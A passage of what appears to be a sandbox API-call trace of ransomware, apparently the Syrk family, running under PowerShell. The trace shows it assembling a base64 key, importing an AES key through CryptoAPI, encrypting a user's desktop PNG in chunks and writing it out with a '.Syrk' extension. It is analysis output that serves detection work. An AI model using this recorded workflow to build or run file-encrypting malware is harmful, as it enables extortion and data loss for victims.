MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0203.525] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0203.525] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0203.525] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.525] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0203.525] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0203.525] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0203.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0203.526] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.526] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0203.526] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0203.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0203.526] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.526] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0203.526] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0203.526] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0203.526] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.526] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0203.526] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0203.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0203.527] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0203.527] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0203.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0203.527] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0203.527] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0203.527] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0203.527] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.527] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0203.527] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0203.528] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0203.528] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0203.528] SystemFunction041 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.528] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0203.528] SystemFunction040 (in: Memory=0x5c91a0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91a0c) returned 0x0 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0203.528] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0203.529] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.529] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0203.529] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0203.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0203.529] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.529] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0203.529] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0203.529] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0203.529] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.529] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0203.529] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0203.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0203.530] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.530] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0203.530] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.530] EtwEventActivityIdControl () returned 0x0 [0203.530] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0203.530] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.530] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0203.530] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0203.532] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cff0) returned 1 [0203.535] CryptImportKey (in: hProv=0x5c4cff0, pbData=0x23aec38*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68d00) returned 1 [0203.535] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.535] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.536] EtwEventActivityIdControl () returned 0x0 [0203.536] EtwEventActivityIdControl () returned 0x0 [0203.536] EtwEventActivityIdControl () returned 0x0 [0203.541] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0203.542] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0203.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.543] EtwEventActivityIdControl () returned 0x0 [0203.544] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.670] EtwEventActivityIdControl () returned 0x0 [0203.670] EtwEventActivityIdControl () returned 0x0 [0203.670] EtwEventActivityIdControl () returned 0x0 [0203.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.671] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2d0) returned 1 [0203.672] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0203.672] GetFileType (hFile=0x44c) returned 0x1 [0203.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2cc) returned 1 [0203.672] GetFileType (hFile=0x44c) returned 0x1 [0203.672] EtwEventActivityIdControl () returned 0x0 [0203.673] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.673] EtwEventActivityIdControl () returned 0x0 [0203.673] EtwEventActivityIdControl () returned 0x0 [0203.673] EtwEventActivityIdControl () returned 0x0 [0203.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0203.674] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk", lpFilePart=0x0) returned 0x30 [0203.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2d0) returned 1 [0203.674] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0203.676] GetFileType (hFile=0x45c) returned 0x1 [0203.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2cc) returned 1 [0203.676] GetFileType (hFile=0x45c) returned 0x1 [0203.676] EtwEventActivityIdControl () returned 0x0 [0203.677] CryptGenRandom (in: hProv=0x5c4cff0, dwLen=0x10, pbBuffer=0x23beed4 | out: pbBuffer=0x23beed4) returned 1 [0203.678] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.678] CryptDuplicateKey (in: hKey=0x5c68d00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea98 | out: phKey=0x5a2ea98*=0x5c69080) returned 1 [0203.678] CryptContextAddRef (hProv=0x5c4cff0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0203.678] CryptSetKeyParam (hKey=0x5c69080, dwParam=0x4, pbData=0x23c0344*=0x1, dwFlags=0x0) returned 1 [0203.678] CryptSetKeyParam (hKey=0x5c69080, dwParam=0x1, pbData=0x23c0310, dwFlags=0x0) returned 1 [0203.679] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.679] EtwEventActivityIdControl () returned 0x0 [0203.679] EtwEventActivityIdControl () returned 0x0 [0203.679] EtwEventActivityIdControl () returned 0x0 [0203.680] EtwEventActivityIdControl () returned 0x0 [0203.680] ReadFile (in: hFile=0x44c, lpBuffer=0x23c2fac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea9c, lpOverlapped=0x0 | out: lpBuffer=0x23c2fac*, lpNumberOfBytesRead=0x5a2ea9c*=0x14000, lpOverlapped=0x0) returned 1 [0203.683] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23d6fc4*, pdwDataLen=0x5a2ea90*=0x14000, dwBufLen=0x14000 | out: pbData=0x23d6fc4*, pdwDataLen=0x5a2ea90*=0x14000) returned 1 [0203.684] WriteFile (in: hFile=0x45c, lpBuffer=0x23bf024*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2ea74, lpOverlapped=0x0 | out: lpBuffer=0x23bf024*, lpNumberOfBytesWritten=0x5a2ea74*=0x1000, lpOverlapped=0x0) returned 1 [0203.685] WriteFile (in: hFile=0x45c, lpBuffer=0x23d7fb0*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2ea74, lpOverlapped=0x0 | out: lpBuffer=0x23d7fb0*, lpNumberOfBytesWritten=0x5a2ea74*=0x13014, lpOverlapped=0x0) returned 1 [0203.687] ReadFile (in: hFile=0x44c, lpBuffer=0x23c2fac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea9c, lpOverlapped=0x0 | out: lpBuffer=0x23c2fac*, lpNumberOfBytesRead=0x5a2ea9c*=0x3cc1, lpOverlapped=0x0) returned 1 [0203.688] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23eafdc*, pdwDataLen=0x5a2ea90*=0x3cc0, dwBufLen=0x3cc0 | out: pbData=0x23eafdc*, pdwDataLen=0x5a2ea90*=0x3cc0) returned 1 [0203.688] WriteFile (in: hFile=0x45c, lpBuffer=0x23eafdc*, nNumberOfBytesToWrite=0x3cc0, lpNumberOfBytesWritten=0x5a2ea74, lpOverlapped=0x0 | out: lpBuffer=0x23eafdc*, lpNumberOfBytesWritten=0x5a2ea74*=0x3cc0, lpOverlapped=0x0) returned 1 [0203.688] ReadFile (in: hFile=0x44c, lpBuffer=0x23c2fac, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea9c, lpOverlapped=0x0 | out: lpBuffer=0x23c2fac*, lpNumberOfBytesRead=0x5a2ea9c*=0x0, lpOverlapped=0x0) returned 1 [0203.688] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23eed10*, pdwDataLen=0x5a2eaf0*=0x10, dwBufLen=0x10 | out: pbData=0x23eed10*, pdwDataLen=0x5a2eaf0*=0x10) returned 1 [0203.688] CryptEncrypt (in: hKey=0x5c69080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23eed2c*, pdwDataLen=0x5a2eaf8*=0x0, dwBufLen=0x10 | out: pbData=0x23eed2c*, pdwDataLen=0x5a2eaf8*=0x10) returned 1 [0203.689] WriteFile (in: hFile=0x45c, lpBuffer=0x23bf024*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2eac8, lpOverlapped=0x0 | out: lpBuffer=0x23bf024*, lpNumberOfBytesWritten=0x5a2eac8*=0x10, lpOverlapped=0x0) returned 1 [0203.689] CloseHandle (hObject=0x45c) returned 1 [0203.692] CloseHandle (hObject=0x44c) returned 1 [0203.692] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e698, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0203.693] EtwEventActivityIdControl () returned 0x0 [0203.693] EtwEventActivityIdControl () returned 0x0 [0203.693] EtwEventActivityIdControl () returned 0x0 [0203.697] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0203.699] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.699] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.699] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0203.699] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0203.699] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0203.699] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0203.700] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0203.700] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0203.700] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0203.700] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0203.700] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0203.700] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0203.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0203.700] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0203.700] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0203.701] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop" (normalized: "c:\\users\\keecfmwgj\\desktop")) returned 0x11 [0203.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1b [0203.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x1b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0203.701] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\ehz3w0f6qpam.png")) returned 0x20 [0203.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0203.703] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\EHZ3W0F6Qpam.png", lpFilePart=0x0) returned 0x2b [0203.703] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e7cc) returned 1 